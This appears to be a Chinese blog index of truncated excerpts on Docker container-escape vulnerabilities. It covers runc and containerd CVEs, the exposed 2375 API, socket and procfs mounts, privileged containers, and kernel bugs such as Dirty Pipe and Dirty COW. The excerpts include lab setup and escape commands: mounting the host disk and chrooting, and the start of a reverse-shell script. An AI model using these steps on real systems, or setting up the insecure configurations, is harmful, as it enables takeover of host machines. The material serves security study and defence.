Docker漏洞总结
容器逃逸漏洞是云原生安全领域的核心威胁,攻击者通过利用这些漏洞可突破容器隔离环境,获取宿主机或集群控制权。 可以使用这个进行检测。检测脚本 一、容器运行时自身漏洞 此类漏洞源于容器引擎或运行时组件的设计缺陷。 CVE-2019-5736(runc逃逸) 影响版本:Docker ≤18.09.2,runc ≤1.0-rc6。 原理:runc 进程在启动容器时未正确隔离自身文件描述符,导致容器内恶意进程可覆盖宿主机的 runc 二进制文件,最终实现容器逃逸并获取宿主机 root 权限。 CVE-2019-5736(runc逃逸) CVE-2020-15257(containerd逃逸) 影响版本:containerd <1.3.9 或 <1.4.3。 原理:通过恶意容器构造特殊进程,利用 containerd-shim 进程的文件描述符(FD)管理缺陷,获取宿主机的敏感文件描述符,最终实现容器逃逸并访问宿主机资源。 CVE-2020-15257(containerd逃逸) 二、Linux内核漏洞 容器共享宿主机内核,内核漏洞可被用于逃逸。 CV...
Docker API未授权访问
影响版本 危险的配置错误。只要满足以下条件,无论 Docker 版本新旧,均存在风险 漏洞原理 Docker守护进程若暴露2375端口且无认证,攻击者可远程管理Docker。 环境搭建 在 Docker 守护进程的配置中开放 TCP 2375 端口(此端口通常用于非加密的 Docker Remote API 通信)。编辑 /etc/docker/daemon.json 文件(如果不存在则创建),添加以下内容 123{ "hosts": ["tcp://0.0.0.0:2375", "unix:///var/run/docker.sock"]} 或者修改 systemd 的 Docker 服务文件(如 /usr/lib/systemd/system/docker.service),在 ExecStart 行追加 -H tcp://0.0.0.0:2375 12sudo vim /usr/lib/systemd/system/docker.service-H tcp://0.0.0.0:2375 -H...
挂载逃逸(Procfs)
影响版本 危险的配置错误。只要满足以下条件,无论 Docker 版本新旧,均存在风险 漏洞原理 若将宿主机的/proc目录挂载到容器内,攻击者可利用其core_pattern等机制实现逃逸 环境搭建 1234567sudo docker run -it -v /proc/sys/kernel/core_pattern:/host/core_pattern ubuntu /bin/bash#若返回2,则说明挂载了宿主机的procfsfind / -name core_pattern | wc -l#找到merged目录路径(如/var/lib/docker/overlay2/.../merged)cat /proc/mounts | grep overlay 在输出中寻找 upperdir 或 workdir,其父目录通常包含 merged 目录。一般在宿主机才能看到,容器内查替换一下目录就可以。 漏洞复现 编写反弹脚本exploit.sh,脚本放在容器的 /tmp/目录下,那么它在宿主机上的绝对路径就是 <merged-path>/tmp/exploit....
挂载逃逸(Socket)
影响版本 危险的配置错误。只要满足以下条件,无论 Docker 版本新旧,均存在风险 挂载了 Docker Socket: 启动容器时使用了 -v /var/run/docker.sock:/var/run/docker.sock 这样的参数 容器内权限足够: 攻击者在容器内获得的用户权限(通常是 root)足以执行 Docker 命令或与 socket 文件交互。 漏洞原理 当容器被授予了与 Docker 守护进程(Docker Daemon)直接通信的权限时,攻击者可以利用此权限控制宿主机。通常是由于将宿主机的 /var/run/docker.sock 文件挂载到容器内部实现的。 环境搭建 1sudo docker run -v /var/run/docker.sock:/var/run/docker.sock -it --name vulnerable_container ubuntu /bin/bash 漏洞复现 容器内安装Docker客户端 1apt update && apt install -y docker.io 可以利用Socket控制宿主机...
特权容器逃逸(privileged)
影响版本 危险的配置错误。只要满足以下条件,无论 Docker 版本新旧,均存在风险 漏洞原理 启用–privileged标志的容器拥有宿主机所有权限,可直接操作宿主机设备(如挂载/dev/sda5)或加载内核模块突破隔离。 环境搭建 12docker run --privileged -it ubuntu /bin/bash#cat /proc/self/status | grep CapEff,特权模式容器CapEff掩码值通常为0000003fffffffff或0000001fffffffff 漏洞复现 容器内查看磁盘 1lsblk 容器内的/etc/passwd 容器内获取权限 12345mkdir /testmount /dev/sda5 /test # 请根据实际磁盘设备修改# 访问宿主机,即可获得一个宿主机Shell。chroot /test bashcat /etc/passwd 成功把内核加载进容器,获得宿主机权限。 修复建议 避免使用–privileged模式或–cap-add=SYS_ADMIN赋予容器宿主机级权限,而是采用–cap-drop=ALL...
CVE-2022-0492(cgroup逃逸)
影响版本 2.6.24-rc1 至 5.17-rc2 漏洞原理 cgroup 是 Linux 内核的一个功能,用于限制、控制与分离一个进程组群的资源。cgroup v1 有一个 release_agent 文件,允许管理员配置一个 “发布代理” 程序,当 cgroup 中的最后一个进程退出时,内核会检查该 cgroup 的 notify_on_release 参数是否启用,如果启用,就会以 root 身份运行 release_agent 文件中指定的程序。 按照正常的安全逻辑,只有具有特定权限(如 CAP_SYS_ADMIN)的用户才能修改 release_agent 文件。然而,该漏洞没有针对性地检查设置 release_agent 文件的进程是否具有正确的权限。 利用方式:攻击者可以在容器内通过 unshare 命令创建新的用户命名空间,在新的命名空间中,攻击者可以获得包括 CAP_SYS_ADMIN 在内的全部 capabilities。此时,攻击者即使在原本没有 CAP_SYS_ADMIN 权限的情况下,也能够修改 release_agent 文件,将其指向一个恶意程序。...
CVE-2022-0847(Dirty Pipe)
漏洞原理 该漏洞源于 Linux 内核中copy_page_to_iter_pipe()函数对pipe buffer的flags字段缺乏正确的初始化。当使用管道进行write和read后,可让目标管道的每个pipe buffer都带上PIPE_BUF_FLAG_CAN_MERGE标志。之后使用splice从目标文件的指定位置传送数据到之前处理过的管道中,splice底层会直接用文件缓存页来替换管道缓冲页,但没有初始化flags字段。此时再调用pipe write时,由于PIPE_BUF_FLAG_CAN_MERGE标志存在,内容会接着上次被写入同一个管道缓冲页中,而这个管道缓冲页其实已变成目标文件的缓存页,从而导致直接修改了目标文件缓存页。短时间内访问该文件的操作都会读到被篡改的文件缓存页,攻击者可借此修改/etc/passwd或者一些suid文件等来实现提权目的。 影响版本 Linux内核 5.8–5.10.102、5.15.0–5.15.25、5.16.0–5.16.11 环境搭建 12345678910111213141516171819202122232425262728...
CVE-2021-22555(Netfilter堆溢出)
影响版本 Linux内核 2.6.19-rc1~5.12-rc8 Alibaba Cloud Linux 2/3、CentOS 7/8、RedHat 7/8、Ubuntu 14/16/18/20、Debian 8/9/10、SUSE Linux Enterprise Server 12/15、OpenSUSE 42.3/15 漏洞原理 利用内核级网络组件的堆溢出缺陷,突破容器依赖的内核隔离机制(命名空间等),从受限制的容器环境获取宿主机权限。 Netfilter模块在处理32位进程的sockopt请求时发生堆溢出,攻击者通过堆喷(Heap Spraying)和UAF(Use-After-Free)技术控制内核内存,执行ROP链提权至root权限。 环境搭建 123456789101112#更新内核proxychains4 wget https://dl.lamp.sh/kernel/el7/kernel-ml-5.10.48-1.el7.x86_64.rpmproxychains4 wget https://dl.lamp.sh/kernel/el7/kernel-ml-dev...
CVE-2016-5195(Dirty Cow)
影响版本 内核版本在 2.6.22 至 4.8 CentOS:CentOS 5.x、6.x、7.x 的 32 位和 64 位版本。 Debian:Debian 6.x 32 位、Debian 7.x 的 32 位和 64 位版本、Debian 8.x 的 32 位和 64 位版本。 Ubuntu:Ubuntu Server 10.04.1 LTS 的 32 位和 64 位版本、Ubuntu Server 12.04.1 LTS 的 32 位和 64 位版本、Ubuntu Server 14.04.1 LTS 的 32 位和 64 位版本。 Red Hat:Red Hat Enterprise Linux 5、6、7;Red Hat Enterprise MRG 2;Red Hat OpenShift Online V2;Red Hat Virtualization(RHEV-H/RHV-H)。 漏洞原理 容器逃逸中的核心原理是利用 Linux 内核写时复制(Copy-on-Write, COW)机制的竞态条件,突破容器的隔离限制,实现从容器到宿主机的权限提升。 容器与宿主机共享同...
CVE-2020-15257(containerd逃逸)
影响版本 containerd <1.3.9 或 <1.4.3 漏洞原理 containerd 是 Docker 等容器平台的核心运行时组件,其架构中包含containerd-shim进程,负责中间层管理(如进程监控、信号转发、IO 重定向等),隔离 containerd 主进程与容器进程。containerd<->containerd-shim<->runc 攻击者可通过恶意容器构造特殊进程,利用 containerd-shim 进程的文件描述符(FD)管理缺陷,获取宿主机的敏感文件描述符,最终实现容器逃逸并访问宿主机资源。 shim 在处理子进程退出信号(SIGCHLD)时,未正确验证进程 PID 的归属,导致攻击者可伪造 PID 欺骗 shim,获取本应属于宿主机的文件描述符。 shim 的进程管理逻辑: 当容器内进程退出时,内核会发送 SIGCHLD 信号给 shim,shim 通过waitpid()系统调用回收进程资源。此时,shim 会将该进程关联的文件描述符(如标准输入 / 输出的 FD)关闭。 PID 验证缺陷: 正常情况...